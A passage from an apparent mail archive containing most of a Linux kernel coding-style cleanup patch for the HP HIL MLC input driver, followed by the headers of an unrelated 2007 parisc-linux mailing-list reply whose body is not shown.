+	memset(&mlc->di_scratch, 0, sizeof(mlc->di_scratch));
 }
 
-static void hil_mlc_copy_di_scratch (hil_mlc *mlc, int idx) {
-	memcpy(&(mlc->di[idx]), &(mlc->di_scratch), sizeof(mlc->di_scratch));
+static void hil_mlc_copy_di_scratch(hil_mlc *mlc, int idx)
+{
+	memcpy(&mlc->di[idx], &mlc->di_scratch, sizeof(mlc->di_scratch));
 }
 
-static int hil_mlc_match_di_scratch (hil_mlc *mlc) {
+static int hil_mlc_match_di_scratch(hil_mlc *mlc)
+{
 	int idx;
 
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
+		int j, found = 0;
 
 		/* In-use slots are not eligible. */
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (found) continue;
-		if (!memcmp(mlc->di + idx, 
-			    &(mlc->di_scratch), 
-			    sizeof(mlc->di_scratch))) break;
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (found)
+			continue;
+
+		if (!memcmp(mlc->di + idx, &mlc->di_scratch,
+			    sizeof(mlc->di_scratch)))
+			break;
 	}
-	return((idx >= HIL_MLC_DEVMEM) ? -1 : idx);
+
+	return idx >= HIL_MLC_DEVMEM ? -1 : idx;
 }
 
-static int hil_mlc_find_free_di(hil_mlc *mlc) {
+static int hil_mlc_find_free_di(hil_mlc *mlc)
+{
 	int idx;
-	/* TODO: Pick all-zero slots first, failing that, 
-	 * randomize the slot picked among those eligible. 
+
+	/* TODO: Pick all-zero slots first, failing that,
+	 * randomize the slot picked among those eligible.
 	 */
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (!found) break;
+		int j, found = 0;
+
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (!found)
+			break;
 	}
-	return(idx); /* Note: It is guaranteed at least one above will match */
+
+	return idx; /* Note: It is guaranteed at least one above will match */
 }
 
-static inline void hil_mlc_clean_serio_map(hil_mlc *mlc) {
+static inline void hil_mlc_clean_serio_map(hil_mlc *mlc)
+{
 	int idx;
+
 	for (idx = 0; idx < HIL_MLC_DEVMEM; idx++) {
-		int j, found;
-		found = 0;
-		for (j = 0; j < 7 ; j++) {
-			if (mlc->di_map[j] == idx) found++;
-		}
-		if (!found) mlc->serio_map[idx].di_revmap = -1;
+		int j, found = 0;
+
+		for (j = 0; j < 7 ; j++)
+			if (mlc->di_map[j] == idx)
+				found++;
+
+		if (!found)
+			mlc->serio_map[idx].di_revmap = -1;
 	}
 }
 
-static void hil_mlc_send_polls(hil_mlc *mlc) {
+static void hil_mlc_send_polls(hil_mlc *mlc)
+{
 	int did, i, cnt;
 	struct serio *serio;
 	struct serio_driver *drv;
@@ -157,26 +174,31 @@ static void hil_mlc_send_polls(hil_mlc *
 
 	while (mlc->icount < 15 - i) {
 		hil_packet p;
+
 		p = mlc->ipacket[i];
 		if (did != (p & HIL_PKT_ADDR_MASK) >> 8) {
-			if (drv == NULL || drv->interrupt == NULL) goto skip;
+			if (drv && drv->interrupt) {
+				drv->interrupt(serio, 0, 0);
+				drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
+				drv->interrupt(serio, HIL_PKT_CMD >> 8,  0);
+				drv->interrupt(serio, HIL_CMD_POL + cnt, 0);
+			}
 
-			drv->interrupt(serio, 0, 0);
-			drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
-			drv->interrupt(serio, HIL_PKT_CMD >> 8,  0);
-			drv->interrupt(serio, HIL_CMD_POL + cnt, 0);
-		skip:
 			did = (p & HIL_PKT_ADDR_MASK) >> 8;
 			serio = did ? mlc->serio[mlc->di_map[did-1]] : NULL;
 			drv = (serio != NULL) ? serio->drv : NULL;
 			cnt = 0;
 		}
-		cnt++; i++;
-		if (drv == NULL || drv->interrupt == NULL) continue;
-		drv->interrupt(serio, (p >> 24), 0);
-		drv->interrupt(serio, (p >> 16) & 0xff, 0);
-		drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0);
-		drv->interrupt(serio, p & 0xff, 0);
+
+		cnt++;
+		i++;
+
+		if (drv && drv->interrupt) {
+			drv->interrupt(serio, (p >> 24), 0);
+			drv->interrupt(serio, (p >> 16) & 0xff, 0);
+			drv->interrupt(serio, (p >> 8) & ~HIL_PKT_ADDR_MASK, 0);
+			drv->interrupt(serio, p & 0xff, 0);
+		}
 	}
 }
 
@@ -215,8 +237,10 @@ static void hil_mlc_send_polls(hil_mlc *
 #define HILSEN_DOZE	(HILSEN_SAME | HILSEN_SCHED | HILSEN_BREAK)
 #define HILSEN_SLEEP	(HILSEN_SAME | HILSEN_BREAK)
 
-static int hilse_match(hil_mlc *mlc, int unused) {
+static int hilse_match(hil_mlc *mlc, int unused)
+{
 	int rc;
+
 	rc = hil_mlc_match_di_scratch(mlc);
 	if (rc == -1) {
 		rc = hil_mlc_find_free_di(mlc);
@@ -244,21 +268,27 @@ static int hilse_match(hil_mlc *mlc, int
 }
 
 /* An LCV used to prevent runaway loops, forces 5 second sleep when reset. */
-static int hilse_init_lcv(hil_mlc *mlc, int unused) {
+static int hilse_init_lcv(hil_mlc *mlc, int unused)
+{
 	struct timeval tv;
 
 	do_gettimeofday(&tv);
 
-	if(mlc->lcv == 0) goto restart;  /* First init, no need to dally */
-	if(tv.tv_sec - mlc->lcv_tv.tv_sec < 5) return -1;
+	if (mlc->lcv == 0)
+		goto restart;  /* First init, no need to dally */
+	if (tv.tv_sec - mlc->lcv_tv.tv_sec < 5)
+		return -1;
  restart:
 	mlc->lcv_tv = tv;
 	mlc->lcv = 0;
 	return 0;
 }
 
-static int hilse_inc_lcv(hil_mlc *mlc, int lim) {
-	if (mlc->lcv++ >= lim) return -1;
+static int hilse_inc_lcv(hil_mlc *mlc, int lim)
+{
+	if (mlc->lcv++ >= lim)
+		return -1;
+
 	return 0;
 }
 
@@ -270,15 +300,18 @@ static int hilse_set_lcv(hil_mlc *mlc, i
 #endif
 
 /* Management of the discovered device index (zero based, -1 means no devs) */
-static int hilse_set_ddi(hil_mlc *mlc, int val) {
+static int hilse_set_ddi(hil_mlc *mlc, int val)
+{
 	mlc->ddi = val;
 	hil_mlc_clear_di_map(mlc, val + 1);
+
 	return 0;
 }
 
-static int hilse_dec_ddi(hil_mlc *mlc, int unused) {
+static int hilse_dec_ddi(hil_mlc *mlc, int unused)
+{
 	mlc->ddi--;
-	if (mlc->ddi <= -1) { 
+	if (mlc->ddi <= -1) {
 		mlc->ddi = -1;
 		hil_mlc_clear_di_map(mlc, 0);
 		return -1;
@@ -287,7 +320,8 @@ static int hilse_dec_ddi(hil_mlc *mlc, i
 	return 0;
 }
 
-static int hilse_inc_ddi(hil_mlc *mlc, int unused) {
+static int hilse_inc_ddi(hil_mlc *mlc, int unused)
+{
 	if (mlc->ddi >= 6) {
 		BUG();
 		return -1;
@@ -296,37 +330,42 @@ static int hilse_inc_ddi(hil_mlc *mlc, i
 	return 0;
 }
 
-static int hilse_take_idd(hil_mlc *mlc, int unused) {
+static int hilse_take_idd(hil_mlc *mlc, int unused)
+{
 	int i;
 
-	/* Help the state engine: 
-	 * Is this a real IDD response or just an echo? 
+	/* Help the state engine:
+	 * Is this a real IDD response or just an echo?
 	 *
-	 * Real IDD response does not start with a command. 
+	 * Real IDD response does not start with a command.
 	 */
-	if (mlc->ipacket[0] & HIL_PKT_CMD) goto bail;
+	if (mlc->ipacket[0] & HIL_PKT_CMD)
+		goto bail;
 	/* Should have the command echoed further down. */
 	for (i = 1; i < 16; i++) {
-		if (((mlc->ipacket[i] & HIL_PKT_ADDR_MASK) == 
+		if (((mlc->ipacket[i] & HIL_PKT_ADDR_MASK) ==
 		     (mlc->ipacket[0] & HIL_PKT_ADDR_MASK)) &&
-		    (mlc->ipacket[i] & HIL_PKT_CMD) && 
+		    (mlc->ipacket[i] & HIL_PKT_CMD) &&
 		    ((mlc->ipacket[i] & HIL_PKT_DATA_MASK) == HIL_CMD_IDD))
 			break;
 	}
-	if (i > 15) goto bail;
+	if (i > 15)
+		goto bail;
 	/* And the rest of the packets should still be clear. */
-	while (++i < 16) {
-		if (mlc->ipacket[i]) break;
-	}
-	if (i < 16) goto bail;
+	while (++i < 16)
+		if (mlc->ipacket[i])
+			break;
+
+	if (i < 16)
+		goto bail;
 	for (i = 0; i < 16; i++) {
-		mlc->di_scratch.idd[i] = 
+		mlc->di_scratch.idd[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
 	}
 	/* Next step is to see if RSC supported */
-	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_RSC) 
+	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_RSC)
 		return HILSEN_NEXT;
-	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD) 
+	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD)
 		return HILSEN_DOWN | 4;
 	return 0;
  bail:
@@ -334,56 +373,61 @@ static int hilse_take_idd(hil_mlc *mlc, 
 	return -1; /* This should send us off to ACF */
 }
 
-static int hilse_take_rsc(hil_mlc *mlc, int unused) {
+static int hilse_take_rsc(hil_mlc *mlc, int unused)
+{
 	int i;
 
 	for (i = 0; i < 16; i++) {
-		mlc->di_scratch.rsc[i] = 
+		mlc->di_scratch.rsc[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
 	}
 	/* Next step is to see if EXD supported (IDD has already been read) */
-	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD) 
+	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD)
 		return HILSEN_NEXT;
 	return 0;
 }
 
-static int hilse_take_exd(hil_mlc *mlc, int unused) {
+static int hilse_take_exd(hil_mlc *mlc, int unused)
+{
 	int i;
 
 	for (i = 0; i < 16; i++) {
-		mlc->di_scratch.exd[i] = 
+		mlc->di_scratch.exd[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
 	}
 	/* Next step is to see if RNM supported. */
-	if (mlc->di_scratch.exd[0] & HIL_EXD_HEADER_RNM) 
+	if (mlc->di_scratch.exd[0] & HIL_EXD_HEADER_RNM)
 		return HILSEN_NEXT;
+
 	return 0;
 }
-
-static int hilse_take_rnm(hil_mlc *mlc, int unused) {
+static int hilse_take_rnm(hil_mlc *mlc, int unused)
+{
 	int i;
+	char nam[17];
 
-	for (i = 0; i < 16; i++) {
-		mlc->di_scratch.rnm[i] = 
+	for (i = 0; i < 16; i++)
+		mlc->di_scratch.rnm[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
-	}
-	do {
-	  char nam[17];
-	  snprintf(nam, 16, "%s", mlc->di_scratch.rnm);
-	  nam[16] = '\0';
-	  printk(KERN_INFO PREFIX "Device name gotten: %s\n", nam);
-	} while (0);
+
+	snprintf(nam, 16, "%s", mlc->di_scratch.rnm);
+	nam[16] = '\0';
+	printk(KERN_INFO PREFIX "Device name gotten: %s\n", nam);
+
 	return 0;
 }
 
-static int hilse_operate(hil_mlc *mlc, int repoll) { 
+static int hilse_operate(hil_mlc *mlc, int repoll)
+{
 
-	if (mlc->opercnt == 0) hil_mlcs_probe = 0;
+	if (mlc->opercnt == 0)
+		hil_mlcs_probe = 0;
 	mlc->opercnt = 1;
 
 	hil_mlc_send_polls(mlc);
 
-	if (!hil_mlcs_probe) return 0;
+	if (!hil_mlcs_probe)
+		return 0;
 	hil_mlcs_probe = 0;
 	mlc->opercnt = 0;
 	return 1;
@@ -428,7 +472,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 	EXPECT(HIL_ERR_INT | TEST_PACKET(0xa),
 	       2000,		HILSEN_NEXT,	HILSEN_RESTART,	HILSEN_RESTART)
 	OUT(HIL_CTRL_ONLY | 0)			/* Disable test mode */
-	
+
 	/* 9  HILSEN_DHR */
 	FUNC(hilse_init_lcv, 0,	HILSEN_NEXT,	HILSEN_SLEEP,	0)
 
@@ -439,7 +483,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 	IN(300000,		HILSEN_DHR2,	HILSEN_DHR2,	HILSEN_NEXT)
 
 	/* 14 HILSEN_IFC */
-  	OUT(HIL_PKT_CMD | HIL_CMD_IFC)
+	OUT(HIL_PKT_CMD | HIL_CMD_IFC)
 	EXPECT(HIL_PKT_CMD | HIL_CMD_IFC | HIL_ERR_INT,
 	       20000,		HILSEN_DISC,	HILSEN_DHR2,	HILSEN_NEXT )
 
@@ -455,7 +499,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 
 	/* 18 HILSEN_HEAL */
 	OUT_LAST(HIL_CMD_ELB)
-	EXPECT_LAST(HIL_CMD_ELB | HIL_ERR_INT, 
+	EXPECT_LAST(HIL_CMD_ELB | HIL_ERR_INT,
 		    20000,	HILSEN_REPOLL,	HILSEN_DSR,	HILSEN_NEXT)
 	FUNC(hilse_dec_ddi, 0,	HILSEN_HEAL,	HILSEN_NEXT,	0)
 
@@ -503,7 +547,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 
 	/* 44 HILSEN_PROBE */
 	OUT_LAST(HIL_PKT_CMD | HIL_CMD_EPT)
-	IN(10000, 		HILSEN_DISC,	HILSEN_DSR,	HILSEN_NEXT)
+	IN(10000,		HILSEN_DISC,	HILSEN_DSR,	HILSEN_NEXT)
 	OUT_DISC(HIL_PKT_CMD | HIL_CMD_ELB)
 	IN(10000,		HILSEN_DISC,	HILSEN_DSR,	HILSEN_NEXT)
 	OUT(HIL_PKT_CMD | HIL_CMD_ACF | 1)
@@ -514,7 +558,7 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 	/* 52 HILSEN_DSR */
 	FUNC(hilse_set_ddi, -1,	HILSEN_NEXT,	0,		0)
 	OUT(HIL_PKT_CMD | HIL_CMD_DSR)
-	IN(20000, 		HILSEN_DHR,	HILSEN_DHR,	HILSEN_IFC)
+	IN(20000,		HILSEN_DHR,	HILSEN_DHR,	HILSEN_IFC)
 
 	/* 55 HILSEN_REPOLL */
 	OUT(HIL_PKT_CMD | HIL_CMD_RPL)
@@ -523,14 +567,15 @@ struct hilse_node hil_mlc_se[HILSEN_END]
 	FUNC(hilse_operate, 1,	HILSEN_OPERATE,	HILSEN_IFC,	HILSEN_PROBE)
 
 	/* 58 HILSEN_IFCACF */
-  	OUT(HIL_PKT_CMD | HIL_CMD_IFC)
+	OUT(HIL_PKT_CMD | HIL_CMD_IFC)
 	EXPECT(HIL_PKT_CMD | HIL_CMD_IFC | HIL_ERR_INT,
 	       20000,		HILSEN_ACF2,	HILSEN_DHR2,	HILSEN_HEAL)
 
 	/* 60 HILSEN_END */
 };
 
-static inline void hilse_setup_input(hil_mlc *mlc, struct hilse_node *node) {
+static inline void hilse_setup_input(hil_mlc *mlc, struct hilse_node *node)
+{
 
 	switch (node->act) {
 	case HILSE_EXPECT_DISC:
@@ -556,8 +601,6 @@ static inline void hilse_setup_input(hil
 	mlc->icount = 15;
 	memset(mlc->ipacket, 0, 16 * sizeof(hil_packet));
 	BUG_ON(down_trylock(&(mlc->isem)));
-
-	return;
 }
 
 #ifdef HIL_MLC_DEBUG
@@ -566,15 +609,18 @@ static int seidx; /* For debug */
 static int kick = 1;
 #endif
 
-static int hilse_donode (hil_mlc *mlc) {
+static int hilse_donode (hil_mlc *mlc)
+{
 	struct hilse_node *node;
 	int nextidx = 0;
 	int sched_long = 0;
 	unsigned long flags;
 
 #ifdef HIL_MLC_DEBUG
-	if (mlc->seidx && (mlc->seidx != seidx)  && mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
-	  printk(KERN_DEBUG PREFIX "z%i \n%s {%i}", doze, kick ? "K" : "", mlc->seidx);
+	if (mlc->seidx && mlc->seidx != seidx &&
+	    mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
+		printk(KERN_DEBUG PREFIX "z%i \n%s {%i}",
+			doze, kick ? "K" : "", mlc->seidx);
 		doze = 0;
 	}
 	kick = 0;
@@ -588,12 +634,15 @@ static int hilse_donode (hil_mlc *mlc) {
 		hil_packet pack;
 
 	case HILSE_FUNC:
-		if (node->object.func == NULL) break;
+		if (node->object.func == NULL)
+			break;
 		rc = node->object.func(mlc, node->arg);
-		nextidx = (rc > 0) ? node->ugly : 
+		nextidx = (rc > 0) ? node->ugly :
 			((rc < 0) ? node->bad : node->good);
-		if (nextidx == HILSEN_FOLLOW) nextidx = rc;
+		if (nextidx == HILSEN_FOLLOW)
+			nextidx = rc;
 		break;
+
 	case HILSE_EXPECT_LAST:
 	case HILSE_EXPECT_DISC:
 	case HILSE_EXPECT:
@@ -607,33 +656,40 @@ static int hilse_donode (hil_mlc *mlc) {
 			write_unlock_irqrestore(&(mlc->lock), flags);
 			break;
 		}
-		if (rc == 1)		nextidx = node->ugly;
-		else if (rc == 0)	nextidx = node->good;
-		else			nextidx = node->bad;
+		if (rc == 1)
+			nextidx = node->ugly;
+		else if (rc == 0)
+			nextidx = node->good;
+		else
+			nextidx = node->bad;
 		mlc->istarted = 0;
 		write_unlock_irqrestore(&(mlc->lock), flags);
 		break;
+
 	case HILSE_OUT_LAST:
 		write_lock_irqsave(&(mlc->lock), flags);
 		pack = node->object.packet;
 		pack |= ((mlc->ddi + 1) << HIL_PKT_ADDR_SHIFT);
 		goto out;
+
 	case HILSE_OUT_DISC:
 		write_lock_irqsave(&(mlc->lock), flags);
 		pack = node->object.packet;
 		pack |= ((mlc->ddi + 2) << HIL_PKT_ADDR_SHIFT);
 		goto out;
+
 	case HILSE_OUT:
-		write_lock_irqsave(&(mlc->lock), flags);
+		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 	out:
-		if (mlc->istarted) goto out2;
+		if (mlc->istarted)
+			goto out2;
 		/* Prepare to receive input */
 		if ((node + 1)->act & HILSE_IN)
 			hilse_setup_input(mlc, node + 1);
 
 	out2:
-		write_unlock_irqrestore(&(mlc->lock), flags);
+		write_unlock_irqrestore(&mlc->lock, flags);
 
 		if (down_trylock(&mlc->osem)) {
 			nextidx = HILSEN_DOZE;
@@ -641,8 +697,8 @@ static int hilse_donode (hil_mlc *mlc) {
 		}
 		up(&mlc->osem);
 
-		write_lock_irqsave(&(mlc->lock), flags);
-		if (!(mlc->ostarted)) {
+		write_lock_irqsave(&mlc->lock, flags);
+		if (!mlc->ostarted) {
 			mlc->ostarted = 1;
 			mlc->opacket = pack;
 			mlc->out(mlc);
@@ -651,13 +707,15 @@ static int hilse_donode (hil_mlc *mlc) {
 			break;
 		}
 		mlc->ostarted = 0;
-		do_gettimeofday(&(mlc->instart));
-		write_unlock_irqrestore(&(mlc->lock), flags);
+		do_gettimeofday(&mlc->instart);
+		write_unlock_irqrestore(&mlc->lock, flags);
 		nextidx = HILSEN_NEXT;
 		break;
+
 	case HILSE_CTS:
 		nextidx = mlc->cts(mlc) ? node->bad : node->good;
 		break;
+
 	default:
 		BUG();
 		nextidx = 0;
@@ -665,36 +723,47 @@ static int hilse_donode (hil_mlc *mlc) {
 	}
 
 #ifdef HIL_MLC_DEBUG
-	if (nextidx == HILSEN_DOZE) doze++;
+	if (nextidx == HILSEN_DOZE)
+		doze++;
 #endif
 
 	while (nextidx & HILSEN_SCHED) {
 		struct timeval tv;
 
-		if (!sched_long) goto sched;
+		if (!sched_long)
+			goto sched;
 
 		do_gettimeofday(&tv);
 		tv.tv_usec += 1000000 * (tv.tv_sec - mlc->instart.tv_sec);
 		tv.tv_usec -= mlc->instart.tv_usec;
-		if (tv.tv_usec >= mlc->intimeout) goto sched;
+		if (tv.tv_usec >= mlc->intimeout)
+			goto sched;
 		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / 1000000;
-		if (!tv.tv_usec) goto sched;
+		if (!tv.tv_usec)
+			goto sched;
 		mod_timer(&hil_mlcs_kicker, jiffies + tv.tv_usec);
 		break;
 	sched:
 		tasklet_schedule(&hil_mlcs_tasklet);
 		break;
-	} 
-	if (nextidx & HILSEN_DOWN) mlc->seidx += nextidx & HILSEN_MASK;
-	else if (nextidx & HILSEN_UP) mlc->seidx -= nextidx & HILSEN_MASK;
-	else mlc->seidx = nextidx & HILSEN_MASK;
+	}
+
+	if (nextidx & HILSEN_DOWN)
+		mlc->seidx += nextidx & HILSEN_MASK;
+	else if (nextidx & HILSEN_UP)
+		mlc->seidx -= nextidx & HILSEN_MASK;
+	else
+		mlc->seidx = nextidx & HILSEN_MASK;
+
+	if (nextidx & HILSEN_BREAK)
+		return 1;
 
-	if (nextidx & HILSEN_BREAK)	return 1;
 	return 0;
 }
 
 /******************** tasklet context functions **************************/
-static void hil_mlcs_process(unsigned long unused) {
+static void hil_mlcs_process(unsigned long unused)
+{
 	struct list_head *tmp;
 
 	read_lock(&hil_mlcs_lock);
@@ -702,19 +771,20 @@ static void hil_mlcs_process(unsigned lo
 		struct hil_mlc *mlc = list_entry(tmp, hil_mlc, list);
 		while (hilse_donode(mlc) == 0) {
 #ifdef HIL_MLC_DEBUG
-		  if (mlc->seidx != 41 && 
-		      mlc->seidx != 42 && 
-		      mlc->seidx != 43) 
-		    printk(KERN_DEBUG PREFIX " + ");
+			if (mlc->seidx != 41 &&
+			    mlc->seidx != 42 &&
+			    mlc->seidx != 43)
+				printk(KERN_DEBUG PREFIX " + ");
 #endif
-		};
+		}
 	}
 	read_unlock(&hil_mlcs_lock);
 }
 
 /************************* Keepalive timer task *********************/
 
-void hil_mlcs_timer (unsigned long data) {
+void hil_mlcs_timer (unsigned long data)
+{
 	hil_mlcs_probe = 1;
 	tasklet_schedule(&hil_mlcs_tasklet);
 	/* Re-insert the periodic task. */
@@ -724,7 +794,8 @@ void hil_mlcs_timer (unsigned long data)
 
 /******************** user/kernel context functions **********************/
 
-static int hil_mlc_serio_write(struct serio *serio, unsigned char c) {
+static int hil_mlc_serio_write(struct serio *serio, unsigned char c)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 	struct serio_driver *drv;
@@ -740,12 +811,12 @@ static int hil_mlc_serio_write(struct se
 		BUG();
 		return -EIO;
 	}
-	mlc->serio_opacket[map->didx] |= 
+	mlc->serio_opacket[map->didx] |=
 		((hil_packet)c) << (8 * (3 - mlc->serio_oidx[map->didx]));
 
 	if (mlc->serio_oidx[map->didx] >= 3) {
 		/* for now only commands */
-		if (!(mlc->serio_opacket[map->didx] & HIL_PKT_CMD)) 
+		if (!(mlc->serio_opacket[map->didx] & HIL_PKT_CMD))
 			return -EIO;
 		switch (mlc->serio_opacket[map->didx] & HIL_PKT_DATA_MASK) {
 		case HIL_CMD_IDD:
@@ -776,7 +847,8 @@ static int hil_mlc_serio_write(struct se
 		return -EIO;
 	}
 	last = idx + 15;
-	while ((last != idx) && (*last == 0)) last--;
+	while ((last != idx) && (*last == 0))
+		last--;
 
 	while (idx != last) {
 		drv->interrupt(serio, 0, 0);
@@ -789,14 +861,15 @@ static int hil_mlc_serio_write(struct se
 	drv->interrupt(serio, HIL_ERR_INT >> 16, 0);
 	drv->interrupt(serio, HIL_PKT_CMD >> 8, 0);
 	drv->interrupt(serio, *idx, 0);
-	
+
 	mlc->serio_oidx[map->didx] = 0;
 	mlc->serio_opacket[map->didx] = 0;
 
 	return 0;
 }
 
-static int hil_mlc_serio_open(struct serio *serio) {
+static int hil_mlc_serio_open(struct serio *serio)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 
@@ -817,7 +890,8 @@ static int hil_mlc_serio_open(struct ser
 	return 0;
 }
 
-static void hil_mlc_serio_close(struct serio *serio) {
+static void hil_mlc_serio_close(struct serio *serio)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 
@@ -844,13 +918,13 @@ static struct serio_device_id hil_mlc_se
 	.id = SERIO_ANY,
 };
 
-int hil_mlc_register(hil_mlc *mlc) {
+int hil_mlc_register(hil_mlc *mlc)
+{
 	int i;
         unsigned long flags;
 
-	if (mlc == NULL) {
+	if (mlc == NULL)
 		return -EINVAL;
-	}
 
 	mlc->istarted = 0;
         mlc->ostarted = 0;
@@ -897,7 +971,8 @@ int hil_mlc_register(hil_mlc *mlc) {
 	return 0;
 }
 
-int hil_mlc_unregister(hil_mlc *mlc) {
+int hil_mlc_unregister(hil_mlc *mlc)
+{
 	struct list_head *tmp;
         unsigned long flags;
 	int i;
@@ -942,7 +1017,7 @@ static int __init hil_mlc_init(void)
 
 	return 0;
 }
-                
+
 static void __exit hil_mlc_exit(void)
 {
 	del_timer(&hil_mlcs_kicker);
@@ -950,6 +1025,6 @@ static void __exit hil_mlc_exit(void)
 	tasklet_disable(&hil_mlcs_tasklet);
 	tasklet_kill(&hil_mlcs_tasklet);
 }
-                        
+
 module_init(hil_mlc_init);
 module_exit(hil_mlc_exit);



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sun, 18 Feb 2007 09:45:31 -0500 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <200702181445.l1IEjV7B012366__35178.8461710841$1416624297$gmane$org@hiauly1.hia.nrc.ca>
References: <200702180423.l1I4NCa8000957@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624297 22832 80.91.229.3 (22 Nov 2014 02:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 14:45:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 18 Feb 2007 15:45:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15EB87DAAC;
	Sun, 18 Feb 2007 07:45:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30034-04; Sun, 18 Feb 2007 07:45:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE37D7DAB2;
	Sun, 18 Feb 2007 07:45:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F0F77DAA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 07:45:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29819-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 07:45:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8A55D7DAA7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 07:45:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1IEjVNA012367;
	Sun, 18 Feb 2007 09:45:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1IEjV7B012366;
	Sun, 18 Feb 2007 09:45:31 -0500 (EST)
In-Reply-To: <200702180423.l1I4NCa8000957@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Feb 17, 2007 11:23:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
